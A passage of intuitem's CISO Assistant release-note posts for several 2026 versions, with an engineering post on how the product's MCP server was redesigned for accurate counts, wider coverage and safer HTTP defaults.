expose. It now uses `/frameworks`, follows every `next` link so audit imports can select a framework returned on a later page, and — since framework names are not unique — reports an explicit ambiguity error instead of uploading an arbitrary `X-Framework-Id` (PR [#4746](https://github.com/intuitem/ciso-assistant-community/pull/4746)). Thanks to **@JohnGanem**. - **Matrix fixes** — The matrix editor honours the instance matrix settings: axis swapping, vertical flipping, row ordering, directional arrows, and the configured probability and impact labels in the selected language instead of fixed terminology (PR [#4803](https://github.com/intuitem/ciso-assistant-community/pull/4803)). Matrix headers in dark mode render black text on light cells, and unconfigured axis header cells no longer show an unintended white background (PR [#4802](https://github.com/intuitem/ciso-assistant-community/pull/4802)). Thanks to **@ab-smith**. - **ISO 42001:2023 external reporting direction** — The library wording described provider-to-user external reporting when the requirement runs user-to-provider (PR [#4790](https://github.com/intuitem/ciso-assistant-community/pull/4790)). Thanks to **@kriss-b**. - Also fixed: an autocomplete dropdown rendering beneath the table header (PR [#4770](https://github.com/intuitem/ciso-assistant-community/pull/4770), thanks to **@martinzerty**), colon-separated table values being cut short, campaign framework filtering using the wrong API field, and non-paginated tables sending an unnecessary limit (PR [#4798](https://github.com/intuitem/ciso-assistant-community/pull/4798)). ## Internationalization - **German, properly** — The German frontend messages are now complete against the current English set, with terminology corrected through menus, forms and help text: `Kontext (ISO)` for organisational issues, `Feststellungen` for findings, `Prüfmappen` for findings binders, `Drittparteiprüfung` for third-party assessments, `Nachweisversion` for evidence revisions, and a clear separation between the `Organisation` section, the generic `Entität` model and the `Drittparteien` navigation group. Validated across 18,369 render checks over 6,123 messages (PR [#4773](https://github.com/intuitem/ciso-assistant-community/pull/4773)). - **German NIS2 / ENISA guidance** — 441 translation blocks covering all 439 requirement nodes of the NIS2 Annex / ENISA Technical Implementation Guidance library, with 438 requirement headings and texts taken from the official German text of Implementing Regulation (EU) 2024/2690. The supplemental ENISA guidance and evidence examples were machine-translated with terminology correction and spot checks, and are explicitly not an official ENISA German translation (PR [#4772](https://github.com/intuitem/ciso-assistant-community/pull/4772)). Both thanks to **@hlederhaas**. ## Documentation & Build - **Docs catch up with 4.0** — Vocabulary aligned across the product docs — "Findings assessments" and "Follow-ups" are now "Findings binders" throughout — with new sections for commitments, campaigns, tasks analytics, item-level assignment review, findings binders and third-party workspace management, plus clarifications on external ratings, DORA settings, custom URL fields, task commitments and third-party assessment revisions. Library Builder navigation now points at Catalog, and the feature-flag documentation was expanded (PR [#4764](https://github.com/intuitem/ciso-assistant-community/pull/4764)). Thanks to **@ab-smith**. - WeasyPrint was upgraded to accept the 70.x range along with minor backend dependency bumps, and document generation no longer aborts the whole render when an external resource is blocked or rejected (PR [#4793](https://github.com/intuitem/ciso-assistant-community/pull/4793)); maplibre is pinned (PR [#4781](https://github.com/intuitem/ciso-assistant-community/pull/4781)). --- For full details, check out the [v4.0.2](https://github.com/intuitem/ciso-assistant-community/releases/tag/v4.0.2) and [v4.0.3](https://github.com/intuitem/ciso-assistant-community/releases/tag/v4.0.3) release notes on GitHub. --- ### What's New in CISO Assistant — Week 36, 2026 (v3.21.4 – v4.0.1) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w36 Published: 2026-09-06 Author: intuitem Two releases this week: the **v3.21.4** patch on September 1, and **v4.0.1** on September 5 — a major version bump. The version number is the news, but read the notice that ships with it rather than the digit: the team states there are no expected breaking changes, while still recommending you back up your data and note your current version before switching. The one change that genuinely alters a contract is the pagination work, and it affects API consumers rather than the UI. More on that below. ## Findings and Third-Party Risk The largest single change in v4.0.1 is an epic spanning findings management and TPRM (PR [#4689](https://github.com/intuitem/ciso-assistant-community/pull/4689), thanks to **@ab-smith**). The shape of it: - **Findings** — "Findings follow-up" is now the **findings binder**, surfaced on the navbar in its own right. Binders became optional: findings can live directly in a folder and be reorganised later. Findings can be raised straight from a requirement assessment, with the binder wired to the compliance assessment automatically, and the findings table gained batch actions. The binder's action plan grew a section for tasks, and both findings and binders carry extra fields. - **Commitments** — A feature-flagged commitments workflow, attached to a task or to applied controls, with state transitions, dates, notes, history, and breach and slip indicators. - **Third-party workspaces** — The internal "enclave" concept was consolidated into one and renamed to something users can actually reason about: a third-party workspace. Perimeters are now fully optional for entity management. - **Campaigns** — Campaigns run over third-party entities, with basic analytics, healing capabilities, and a report when no assignees are available for internal or external campaigns. Entity assessments can be cloned, which is how assessment cycles get managed. - **Assignments that survive contact with reality** — Third-party assignments now transition even when the mailer fails; the back-and-forth over items to process is tracked with red and green flags; representatives are discoverable through entity assignment and auto-assigned when they were declared and then forgotten; and vendors carry a default communication language. - **Legibility** — TPRM cards and the assessments table now show completion progress and review progress as the two distinct things they are, with shortcuts straight into review mode, so nobody has to route through the assignment menu. Entities support custom scores for external ratings, and both entities and entity assessments gained batch actions. ## Identity & Access - **JIT provisioning on first SSO login** — Accounts can be created automatically the first time a user signs in through the identity provider, with configurable default groups for newly provisioned accounts, IdP group-claim mapping and ongoing group synchronisation. IdP group management shows whether a group is SSO- or SCIM-managed. The whole thing sits behind a feature flag, manually managed memberships survive SCIM sync, and the guard against disabling SSO for managed accounts with no local login was tightened (PR [#4673](https://github.com/intuitem/ciso-assistant-community/pull/4673)). Thanks to **@tchoumi313**. ## Tasks & Evidence - **A pass over the whole module** — Excel reporting fixed; navigation between previous and next tasks made workable; the importer extended to daily granularity and taught to auto-create or link evidence; expected evidence creatable on the fly; an evidence-definitions importer; an analytics page for all tasks or for a filtered subset straight from the table; task templates gaining enable/disable filtering plus import and export; evidence revisions carrying observations, links and attachments, with the internal revision version no longer editable; markdown field rendering glitches cleaned up; and a round of N+1 elimination on tasks (PR [#4753](https://github.com/intuitem/ciso-assistant-community/pull/4753)). Thanks to **@ab-smith**. ## Breaking Change — API Pagination - **Pagination limits are now enforced** — Pagination was outright broken for lists past 5,000 elements. The fix hardens the contract on both sides. The default page size is 50, with a hard ceiling of 200 per request — larger `?limit=` values are clamped, and legacy behaviour can be pinned with `PAGINATE_BY=5000`. Invalid `limit`/`offset` values, including `limit=0`, which never meant "unlimited", now fail with a 400 instead of silently falling back to the default. Every ordering carries a unique primary-key tiebreaker, so offset paging can no longer skip or duplicate rows on tied sort keys. On the frontend, roughly 50 loaders that were reading only the first page now fetch complete collections, and every model exposes a lightweight autocomplete action so selects stay lazy: 50 options or fewer behave as before, larger datasets switch to server-side search. **If you script against the API, this is the item to read before upgrading**: consumers must follow `next` links or page by offset, a single request will never return more than 200 rows, and malformed paging parameters now fail loudly. There is a new documentation page covering the envelope, the environment variables and the client rules (PR [#4531](https://github.com/intuitem/ciso-assistant-community/pull/4531)). Thanks to **@eric-intuitem**. ## New Features - **URL custom fields** — A `url` type joins text, number, date, boolean, choice and multi-choice. It gets a dedicated input on the form and renders as a clickable link wherever the field is displayed, on assets, applied controls, perimeters and security exceptions (PR [#4744](https://github.com/intuitem/ciso-assistant-community/pull/4744)). Thanks to **@Spaghetto784**. - **Reopening a submitted assignment** — Reviewers can reopen an assignment from _Submitted_, _Changes requested_, _In progress_ or _Closed_; a closed assignment can be reopened either for review or for editing. Reopening returns it to draft — the only status in which an assignment can be edited or deleted — clears the reviewer's observation, and notifies the relevant recipients when reopening from _In progress_ or _Changes requested_ (PR [#4485](https://github.com/intuitem/ciso-assistant-community/pull/4485)). Thanks to **@martinzerty**. - **Workflow enablers and a sample catalog** — Workflows gained their own navigation entry and feature-flag control, plus builder support for paginated loops, configurable limits, object creation, reference selection and evidence attachments from text or URLs. A set of workflow libraries ships covering compliance, risk, privacy, operations, assessments, notifications and reporting. Credential-bearing outbound requests over plain HTTP are now blocked (PR [#4721](https://github.com/intuitem/ciso-assistant-community/pull/4721)). Thanks to **@ab-smith**. - **Category prefixes in control autocompletes** — Control pickers show the category prefix, which matters as soon as two controls share a name (PR [#4729](https://github.com/intuitem/ciso-assistant-community/pull/4729)). Thanks to **@nas-tabchiche**. - **Library builder moved under Catalog** — It graduated out of the Experimental page into the Catalog sidebar, for users holding the library-creation permission. Experimental now holds batch creation alone (PR [#4760](https://github.com/intuitem/ciso-assistant-community/pull/4760)). Thanks to **@ab-smith**. - **Multiple journeys on one domain** — Presets can be applied more than once to the same folder, producing separately numbered journeys and objects. Journey upgrades preserve previously tracked objects and renamed journeys, and "Create objects" and "Apply feature flags" are now unchecked by default when applying a preset (PR [#4713](https://github.com/intuitem/ciso-assistant-community/pull/4713)). Thanks to **@ab-smith**. ## UX - **The whole requirement row is clickable** — On the compliance-assessment page, status and result badges were rendered in a sibling element to the title, each wrapped in its own link, leaving a dead click zone between them. Badges are now inside the same anchor, so text, gap and badges are a single link (PR [#4738](https://github.com/intuitem/ciso-assistant-community/pull/4738)). Thanks to **@Claquetteuuuh**. - **Framework preview restored** — The respondent preview vanished when the framework builder moved under the library builder, taking the toolbar's Preview button with it. It is back, and requirement cards now show which implementation groups a node belongs to, resolved to display names and translated with the preview language. The implementation-group bar is labelled as a filter and matches audit semantics: with a filter active, requirements with no implementation groups are excluded, which is a visible change from the previous behaviour. Splash screens are exempt, as in flash mode (PR [#4688](https://github.com/intuitem/ciso-assistant-community/pull/4688)). Thanks to **@nas-tabchiche**. ## Performance - **N+1 queries chased down** — Requirement assessments load related reference controls, threats and parent requirements efficiently, which shows on large deployments (PR [#4732](https://github.com/intuitem/ciso-assistant-community/pull/4732), thanks to **@eric-intuitem**). Data breaches went from 121 SQL queries to 22 on a 15-row page (PR [#4734](https://github.com/intuitem/ciso-assistant-community/pull/4734)), and evidence revisions from 21 to 11, along with filtering labels, findings, incidents, task templates and privacy processing records (PR [#4736](https://github.com/intuitem/ciso-assistant-community/pull/4736)). Thanks to **@melinoix**. - **Faster library loading** — YAML libraries parse through the C loader (PR [#4714](https://github.com/intuitem/ciso-assistant-community/pull/4714)). Thanks to **@ab-smith**. ## Bug Fixes - **Audit exports round-trip questions and answers** — Questions were usable in only two of the export formats, and the XLSX round-trip lost data: the CSV dropped questions entirely, while the XLSX matched on translated question text and split answer blocks on newlines. A multi-line free-text answer lost everything after its first line, a workbook exported in one language would not re-import under another, and anything unmatched vanished silently. Answer lines now carry the question URN, blocks are delimited by that URN, choices match against every translation, and skipped lines surface as warnings. Questions hidden by an unsatisfied dependency are no longer exported as unanswered gaps, and the HTML report orders questions properly. Two behaviour changes worth noting: the CSV gains an `answers` column, which is breaking for anything scripted against that export, and an answer cell emptied by hand now clears the stored answer instead of being ignored. Workbooks exported before this change still import (PR [#4724](https://github.com/intuitem/ciso-assistant-community/pull/4724)). Thanks to **@nas-tabchiche**. - **PATCH on requirement nodes** — Every PATCH ran full model validation across the whole instance, not just the submitted fields, so any node with an untouched nullable-but-not-blank field — `implementation_groups`, `order_id`, the inherited `name` — was rejected with "This field cannot be blank". Since most stock framework nodes ship with null implementation groups, entire frameworks were un-PATCHable. Validation is now limited to the fields a request actually sends, while the cross-field score-override checks still run against the full instance (PR [#4722](https://github.com/intuitem/ciso-assistant-community/pull/4722)). Thanks to **@AmirF194**. - **Library preview tables render their rows** — Library detail pages render preview tables from the library payload, deliberately passing no URL model since these objects have no list endpoint. The table built its endpoint anyway, requested `/undefined`, took the 404 error path and replaced the rows the caller had already supplied — so the table showed empty while its section header announced the real count. It affected 28 stored libraries plus the loaded-library pages. The core fix came in with the findings epic; this change applies the same flag to the two places still missing it, where local tables were colliding in the global handler store and persisting filters as if they were standalone list pages (PR [#4750](https://github.com/intuitem/ciso-assistant-community/pull/4750)). Thanks to **@Claquetteuuuh**. - **Presets refresh when their library updates** — Updating a loaded library changed its version but left the live preset on the old version with its original steps, so new journeys copied stale content (PR [#4695](https://github.com/intuitem/ciso-assistant-community/pull/4695)). Thanks to **@tchoumi313**. - **Implementation group names in BIO2 and AirCyber** — Wrong implementation-group names corrected in both libraries (PR [#4718](https://github.com/intuitem/ciso-assistant-community/pull/4718)). Thanks to **@eric-intuitem**. - Also fixed: task export to Excel (PR [#4749](https://github.com/intuitem/ciso-assistant-community/pull/4749)), duplicate actions made consistent with the create path (PR [#4733](https://github.com/intuitem/ciso-assistant-community/pull/4733)), more EBIOS RM template variants accepted by the data wizard (PR [#4740](https://github.com/intuitem/ciso-assistant-community/pull/4740)), href generation for some foreign keys in detail views (PR [#4741](https://github.com/intuitem/ciso-assistant-community/pull/4741)), a clearer CLI error when `.clica.env` is missing (PR [#4735](https://github.com/intuitem/ciso-assistant-community/pull/4735)), validation on metric samples (PR [#4676](https://github.com/intuitem/ciso-assistant-community/pull/4676)) and a regression that prevented adding one (PR [#4762](https://github.com/intuitem/ciso-assistant-community/pull/4762)), workflow `set_variables` nodes whose value sat in the output mapping (PR [#4756](https://github.com/intuitem/ciso-assistant-community/pull/4756)), and a batch of smaller frontend issues (PR [#4726](https://github.com/intuitem/ciso-assistant-community/pull/4726)). ## Internationalization - **Dutch translations updated** (PR [#4719](https://github.com/intuitem/ciso-assistant-community/pull/4719)). Thanks to **@ReViCo-be**. ## Documentation & Build - **Workflow documentation** — The three thin workflow pages were replaced with a full set scoped to what the UI exposes: a concepts page, a first-workflow tutorial with a screenshot at every step, and a builder section covering triggers, steps, expressions, variables and secrets, runs, sharing, the template catalog, permissions and security, troubleshooting, the action reference and the publish checks — 26 screenshots in all (PRs [#4757](https://github.com/intuitem/ciso-assistant-community/pull/4757) and [#4758](https://github.com/intuitem/ciso-assistant-community/pull/4758)). Thanks to **@nas-tabchiche**. - The ADR template gained a security considerations section (PR [#4737](https://github.com/intuitem/ciso-assistant-community/pull/4737)), the frontend moved to hardened container images (PR [#4716](https://github.com/intuitem/ciso-assistant-community/pull/4716)), and backend dependencies were upgraded (PR [#4739](https://github.com/intuitem/ciso-assistant-community/pull/4739)). --- Welcome to new contributors **@Spaghetto784**, **@Claquetteuuuh** and **@AmirF194**, who all made their first contributions in v4.0.1. For full details, check out the [v3.21.4](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.21.4) and [v4.0.1](https://github.com/intuitem/ciso-assistant-community/releases/tag/v4.0.1) release notes on GitHub. --- ### What's New in CISO Assistant — Week 35, 2026 (v3.21.3) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w35 Published: 2026-08-27 Author: intuitem A single patch this week — **v3.21.3**, released on August 26 — but a dense one. Most of it is the second act of the workflow engine that landed in v3.21.0: the visual builder shipped able to create and notify, and not much else. This release gives it hands. ## Workflow Engine - **The engine can now write** — `update_object` arrives with a registry of updatable models covering 14 of the 16 readable ones, each carrying two whitelists: which fields may be written, and which values are acceptable on the fields that are mostly off limits. Relation writes take `add | remove | set`. Targets must sit inside the workflow's own subtree **and** be changeable by the identity the run executes as, so automation can never write a row the API would refuse that same user (PR [#4683](https://github.com/intuitem/ciso-assistant-community/pull/4683)). Thanks to **@ab-smith**. The integrity line is enforced by the registry rather than by convention, and it is worth stating plainly: **automation may record that time passed and may attach work, but it may not render the judgment**. Never `RequirementAssessment.result` or `score`, never `RiskScenario.treatment`; evidence and security-exception statuses are fenced to expiry, findings to everything but `dismissed`, and no entry may rewrite an object's `name`. Risk acceptances and validation flows are absent from the registry entirely — their state moves through a transition table and a flow history, not through a column write. - **Date-aware runs** — `{{now}}` and `{{today}}` are seeded once at run start, in the schedule's own timezone when a schedule fired the run, and a new `date_offset` action covers arbitrary windows. The template grammar itself stays frozen, as the workflow schema promises. - **Bulk edits emit events** — `bulk_update` skips Django's `post_save`, so bulk changes logged nothing and no workflow ever fired on them. A logging-aware bulk update now writes the entries a per-object save would, applied to the two paths that change an audit someone already holds. Because one merge can now start hundreds of runs, a trigger is coalesced to at most one run per correlation id inside a five-minute window. - **Wider reads** — Workflows could read twelve models but nothing from the requirements, risk or validation families, which blocked the recurring-sweep use cases: overdue requirements, expiring acceptances, stale validations. Requirement assessments, risk scenarios, risk acceptances and validation flows join the readable registry, along with the missing `expiry_date` on applied controls. Rows read like API responses — same keys, same shapes, enum fields rendering display labels — so nobody has to learn a second vocabulary. Sweeps can target one audit or one risk assessment instead of matching every assessment in the subtree (PR [#4655](https://github.com/intuitem/ciso-assistant-community/pull/4655)). Thanks to **@nas-tabchiche**. - **`send_email` no longer lies about delivery** — The action enqueued mail through a fire-and-forget task and always reported success: no consumer running, SMTP down, or mailer unconfigured all produced a clean `ACTION_EXECUTED` log while nothing was sent. Delivery now runs in a dedicated task outside the engine transaction, and hands the result back: a failure fails the node and feeds the per-node retry policy, while static config errors fail immediately instead of burning the retry schedule. Delivery is best-effort across recipients, so one dead address no longer starves the rest (PR [#4654](https://github.com/intuitem/ciso-assistant-community/pull/4654)). Thanks to **@nas-tabchiche**. ## New Features - **Filter an audit tree by coverage** — The audit tree gained filters for requirements with or without applied controls, and with or without evidence, alongside coverage indicators that count direct evidence, evidence inherited through applied controls, or both. Requirement counts and tree visibility update as the filters change, and selections persist while you work through an assessment (PR [#4702](https://github.com/intuitem/ciso-assistant-community/pull/4702)). Thanks to **@ab-smith**. ## Framework & Library Updates - **UNESCO AI Maturity Framework** — Six maturity pillars, 29 assessment categories and four maturity levels, bringing the shipped library count past 200 (PR [#4690](https://github.com/intuitem/ciso-assistant-community/pull/4690)). Thanks to **@ab-smith**. - **CyFun 2023 correction on RS.MI-1.1** — The French mitigation guidance for containing and resolving incidents was rewritten, an outdated requirement removed, and the cross-framework mappings re-pointed at the corrected requirement. Marked breaking, since the library version changes and the mapping shifts underneath existing audits (PR [#4678](https://github.com/intuitem/ciso-assistant-community/pull/4678)). Thanks to **@ab-smith**. ## Performance - **Feature flags are cached** — Flag lookups hit the database on nearly every request. Flags are now cached with invalidation on settings change, enterprise flags are no longer evaluated in Community, and the analytics page stops calling incident routes when the incidents flag is off (PR [#4661](https://github.com/intuitem/ciso-assistant-community/pull/4661)). Thanks to **@eric-intuitem**. - **Toolchain refresh** — Vite 8 with Rolldown, ESLint 10 with a green lint, Paraglide moved to locale modules, and the RPM build on Node 24 (PR [#4692](https://github.com/intuitem/ciso-assistant-community/pull/4692)). Thanks to **@ab-smith**. ## Bug Fixes - **Free-text questions no longer block the computed result** — On question-driven audits, an unanswered free-text question kept the requirement at _Not assessed_ until someone typed filler text. Text questions are now excluded from result computation, in the backend and in the frontend mirror used by the edit page and flash mode. Progress is unchanged: an empty text question still counts as unanswered there (PR [#4700](https://github.com/intuitem/ciso-assistant-community/pull/4700)). Thanks to **@Axxiar**. - **Splash screens stay non-assessable** — The framework builder left `assessable: true` behind when an existing requirement was switched to splash mode, and hid the checkbox, so the stale flag was invisible and frameworks published that way rendered splash nodes as ordinary requirements. The builder now clears the flag, the loader forces it at import, and a data migration heals frameworks already loaded. Two knock-on fixes ride along: the assignments page filtered splash nodes out with their entire subtree — on frameworks that nest requirements under splash screens, the tree lost every requirement — and the auditee dashboard listed assignments the user could not actually open, so "continue assessment" 404'd (PR [#4698](https://github.com/intuitem/ciso-assistant-community/pull/4698)). Thanks to **@nas-tabchiche**. - **XLSX exports survive control characters** — The action-plan export and two sibling paths crashed with an unhandled openpyxl error whenever a field carried an ASCII control character — most often a vertical tab pasted in from Word or Outlook. The backend returned 500 and the frontend masked it as a generic fetch error. String values are now sanitised at export time, so no data migration is needed (PR [#4699](https://github.com/intuitem/ciso-assistant-community/pull/4699)). Thanks to **@tchoumi313**. - **AI chat works with strict chat templates** — The message array could carry more than one `system` message: the main prompt first, retrieved context appended later. Strict templates such as Qwen's reject that outright, and the failure surfaced after a successful tool call, when the follow-up generation ran. System messages are now normalised into a single message at position zero — history and context merged in, user and assistant ordering preserved — consistently across regular generation, Ollama tool calls and OpenAI-compatible tool calls (PR [#4680](https://github.com/intuitem/ciso-assistant-community/pull/4680)). Thanks to **@jurkodj**. - **Server-side search in the remote object picker** — The Jira and ServiceNow picker fetched only the first page from the remote — 50 issues, 100 records — and filtered it in the browser, so older issues simply could not be found. Typing now searches server-side, with JQL summary and issue-key matching for Jira and encoded-query branches for ServiceNow. Projects with 50 or fewer candidates keep the eager list (PR [#4674](https://github.com/intuitem/ciso-assistant-community/pull/4674)). Thanks to **@nas-tabchiche**. - **Search filter handles non-Latin scripts** — The normalisation regexp behind entity search dropped Cyrillic and other non-Latin letters, so filtering silently failed on them (PR [#4681](https://github.com/intuitem/ciso-assistant-community/pull/4681)). Thanks to **@Punkoivan**. - **Custom roles stop provisioning stray IAM groups** — Enterprise custom-role creation provisioned a user group and role assignment for every domain, including domains with IAM group creation disabled. A migration removes the stray built-in groups, unless somebody is already relying on one — in which case it re-enables IAM group creation for that domain rather than revoking their access (PR [#4615](https://github.com/intuitem/ciso-assistant-community/pull/4615)). Thanks to **@tchoumi313**. - **Stale permissions cleaned up** — A migration prunes permissions left behind by four historical model renames: security functions to reference controls, security measures to applied controls, libraries to loaded libraries, and projects to perimeters (PR [#4691](https://github.com/intuitem/ciso-assistant-community/pull/4691)). Thanks to **@tchoumi313**. - **Permission inconsistencies** — Readers, approvers and analysts can now view organisation objectives and issues; readers can see library filtering labels; and global settings expose consistent defaults across risk, notifications, language, MFA, retention and features (PR [#4693](https://github.com/intuitem/ciso-assistant-community/pull/4693)). Thanks to **@monsieurswag**. - **Flash mode counter** — A regression left the processed-items counter stale while navigating between assessments (PR [#4682](https://github.com/intuitem/ciso-assistant-community/pull/4682)). Thanks to **@ab-smith**. --- Welcome to new contributor **@jurkodj**, who made their first contribution in this release. For full details, check out the [v3.21.3](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.21.3) release notes on GitHub. --- ### When your AI confidently miscounts your risk register URL: https://intuitem.com/ciso-assistant-mcp-architecture Published: 2026-08-22 Author: Abderrahmane Smimite Ask an AI assistant connected to your GRC platform "how many of our vulnerabilities are exploitable?" and you will get a number. It will be phrased with complete confidence. Until [v3.21.1](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.21.1), there was a decent chance that number was wrong — and not wrong in a way anyone could see. That bug is the reason we stopped adding tools to `ca_mcp`, our Model Context Protocol server, and rebuilt its architecture instead. This post covers what we found, what we changed, and the parts we think generalise to anyone exposing a real business system to an agent. The rewrite also lifted a practical limit. Claude Desktop, Claude Code, LM Studio and OpenWebUI have been able to reach CISO Assistant for a while; ChatGPT and Microsoft Copilot Studio could not, because they run in the vendor's cloud and cannot launch a local process. A Streamable HTTP transport closes that gap — so the platform is now reachable from the assistant your organisation has already standardised on, whichever one that is. Worth being clear about what that does and does not mean. CISO Assistant is a GRC platform, not a chatbot, and none of this moves the product into a chat window. The web application remains where the work happens — the registers, the audits, the evidence trail, the workflows. MCP is an additional way in: a read path for the questions people ask in passing, and a write path for the bulk operations that are tedious in a form. The assistant is a capability on top of the platform, not a replacement for it. ## Problem one: most of the product wasn't reachable The original server followed the obvious pattern: one hand-written tool per object type, per verb. `get_risk_scenarios`, `get_assets`, `get_applied_controls`, and so on. It works, it produces good tool descriptions, and it does not scale. CISO Assistant's API exposes 76 collections. Roughly 45 of them had no tool at all. The gaps were not exotic corners. The entire privacy app — processings, personal data, data subjects, data recipients, transfers, breaches, right requests — was unreachable. So was document management. So were questionnaires. If you had asked the assistant about your GDPR records, it could not answer, and the conversation would drift into something adjacent that it _could_ do. The fix was to stop writing a tool per object and add three generic ones — `list_objects`, `get_object` and `count_objects` — over a registry that maps an object type to its API path. A new type becomes reachable by adding one line. The dedicated tools stay where they earn their keep, with tailored columns for the well-trodden objects; the registry covers the long tail. The server now exposes 105 tools spanning risk, compliance, assets, TPRM, EBIOS RM, privacy, findings and evidences, document management, and the new threat-model and TTP catalogs. One thing the registry deliberately does _not_ cover: credential and session material. Workflow secrets, workflow tokens, sessions, IdP groups and global settings are excluded by construction, not by permission check. Generic access is a convenience for reading your GRC data, and there is no version of "the agent enumerates your secrets" that is a feature. ## Problem two: the confidently wrong number Now the interesting one. Every list response an MCP server returns is bounded. It has to be — an unbounded register would blow through the model's context window and cost a fortune doing it. Ours caps at 100 rows per call by default. An agent asked "how many vulnerabilities do we have?" does the natural thing: it calls the list tool and counts what comes back. It sees 100 rows. It answers "100". You have 1,592. Nothing errors. Nothing looks truncated. The model isn't hallucinating — it counted accurately, over the wrong set. And in GRC, a plausible wrong number is considerably worse than a refusal, because it ends up in a steering committee slide. Two changes address it. `count_objects` asks the API for an exact server-side count and returns _numbers only, never rows_ — for totals, breakdowns by status or severity, proportions, distributions. It costs almost nothing in context regardless of register size, and it is correct by construction. And every list response now states its own bounds: ```text Found 100 of 1592 vulnerabilities (rows 1-100; pass offset=100 for the next page) ``` A truncated answer can no longer be mistaken for a complete one — by the model, or by the person reading over its shoulder. Counts and percentages are computed over the whole set regardless of the display limits. The general lesson: when a tool returns a bounded view of an unbounded set, the boundary has to be _in the response_. An agent cannot infer what it wasn't shown, and it will not think to ask. ## Problem three: more tools is not more capability Expanding coverage cuts against something else. Every tool definition sits in the model's context on every single turn, and past some surface size, selection accuracy starts to slide — models begin picking near-miss tools, especially smaller local ones. Rather than argue about this from intuition, we built two harnesses and shipped them in the repo. [`tools_selection_harness.py`](https://github.com/intuitem/ciso-assistant-community/blob/main/cli/tools_selection_harness.py) pulls the real tool definitions out of `ca_mcp`, converts them to function specs, and asks a local model fixed GRC questions — so the read-only surface and the full surface can be compared on identical prompts. Several prompts are deliberately near-miss prone, because those are where it actually fails: risk scenarios versus _quantitative_ risk scenarios, "list the domains" against a tool named `get_folders`. There is a French tier too, since a tool description written in English and a question asked in French is exactly the seam where selection degrades. [`multiturn_harness.py`](https://github.com/intuitem/ciso-assistant-community/blob/main/cli/multiturn_harness.py) covers what the single-turn version can't: each conversation opens with the heaviest read available, then keeps going, so later turns are answered with a context already full of tool output. It runs with response bounding on and off, which turns "response bloat degrades later turns" from a hypothesis into a measurement you can reproduce. The resulting defaults — 100 rows per call, 200 items when a tool paginates internally, 20,000 characters per response — are configurable, but they are chosen rather than guessed. If you run a local model against your own instance, run the harness against it; the number that matters is the one from your setup, not ours. ## Problem four: HTTP, and why stdio is still the default The Streamable HTTP transport is the part of this release with the widest reach, and it exists for exactly one reason: the cloud-hosted clients cannot spawn a local process. For every client that can — Claude Desktop, Claude Code, LM Studio, OpenWebUI, Cursor — stdio remains the default and the recommendation. Nothing listens on the network. Every API call leaves from your own machine, through firewall rules and proxies you already run. No credential crosses a network boundary between client and server. That is a materially smaller attack surface, and we would rather say so plainly than market the newer transport as the better one. When you do enable HTTP, the defaults reflect what we [wrote about MCP's real attack surface](https://intuitem.com/auditing-mcp-servers-ox-advisory) earlier this year: - **Read-only by default.** The HTTP endpoint exposes only the 48 read tools. Write tools require setting `CA_MCP_READ_ONLY=false` — a deliberate act, because an agent driven by a third-party orchestrator would then be able to modify your GRC data. - **Every caller brings their own token.** The server holds no credential of its own. Each request carries the caller's Personal Access Token and runs with exactly that user's permissions and domain scope. A request without a token is rejected, not served under a shared identity. (There is an escape hatch for single-user deployments; it collapses every caller into one identity and one audit trail, and the docs say so.) - **Loopback bind, with `Host` validation.** The server listens on `127.0.0.1` unless told otherwise, and `CA_MCP_ALLOWED_HOSTS` checks the `Host` header of every request. You put your own HTTPS reverse proxy in front, keeping TLS, certificates and access logging in infrastructure you already operate. If you deploy with Docker Compose, the MCP server ships as an optional service behind a `mcp` profile, routed through your existing proxy with no new published port: ```bash docker compose --profile mcp up -d ``` ## What this looks like in practice The AI work that landed alongside this in v3.20.x is part of the same arc: [spreadsheet import through the chat window](https://github.com/intuitem/ciso-assistant-community/pull/4585), [risk assessment import](https://github.com/intuitem/ciso-assistant-community/pull/4618), [richer page context](https://github.com/intuitem/ciso-assistant-community/pull/4610) so an in-window session knows which audit you are looking at, and [maturity scores over MCP](https://github.com/intuitem/ciso-assistant-community/pull/4516). Different surfaces, same underlying principle: the assistant should be able to reach your data, should say what it actually saw, and should never quietly answer from a partial view. Setup takes about ten minutes — a Personal Access Token, a config file, one JSON block in your client. Full instructions, including the ChatGPT and Copilot Studio specifics, are in the [MCP setup guide](https://intuitem.gitbook.io/ciso-assistant/ai-and-integrations/mcp). The server is in [`cli/`](https://github.com/intuitem/ciso-assistant-community/tree/main/cli) in the community repository, Apache-licensed like the rest of it. If you find a question where the assistant answers confidently and wrongly, that is a bug worth an issue. Those are the ones we most want to hear about. --- ### What's New in CISO Assistant — Week 34, 2026 (v3.21.1 – v3.21.2) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w34 Published: 2026-08-21 Author: intuitem Two patches on the v3.21 line: **v3.21.1** on August 17 and **v3.21.2** on August 20. Week 33 had no releases, so this edition picks up where the v3.21.0 minor left off. The headline items are less visible than last cycle's epics but matter more operationally — a security fix worth upgrading for, and a rewrite of how permissions are evaluated. ## Security - **SCIM setup hardening** — SCIM could adopt a pre-existing local account by bare email match and, in the same request, rewrite that account's email address. An unauthenticated password-reset request would then deliver the reset to the new — attacker-controlled — address, completing a takeover. Two changes close this: on first-time adoption by email match, when no `externalId` match exists yet, SCIM no longer writes `user.email` or `userName` until a later sync matches on the IdP's own stable identifier; and SCIM-managed accounts are no longer treated as local, so password login and password reset are closed off for them entirely unless `keep_local_login` is set. SSO must now be enabled before SCIM tokens can be created, and SSO cannot be disabled while SCIM-managed accounts would be left without local-login access (PR [#4658](https://github.com/intuitem/ciso-assistant-community/pull/4658)). Thanks to **@melinoix**. If you run SCIM provisioning, this is the upgrade to prioritize. ## Performance & Scale - **IAM permission checks moved to querysets** — Permission checks previously materialized a raw list of accessible object UUIDs and filtered with `id__in`. That breaks outright past roughly 65,536 entries on PostgreSQL — SQLite has a comparable limit — and it was wasteful even below the ceiling, since checking permission on a single object fetched the IDs of every accessible object first. This release is the first step away from that: a new `Folder.descendants` many-to-many field materializes the folder tree so ancestors and descendants resolve in linear time without recursive CTEs the Django ORM can't express, and five core `RoleAssignment` methods now return querysets that can be filtered, ordered and paginated. A migration backfills the new table from the existing folder tree (PR [#4364](https://github.com/intuitem/ciso-assistant-community/pull/4364)). Thanks to **@monsieurswag**. - **Audit log pruning on a schedule** — Audit log pruning now runs once every three hours rather than on its previous cadence (PR 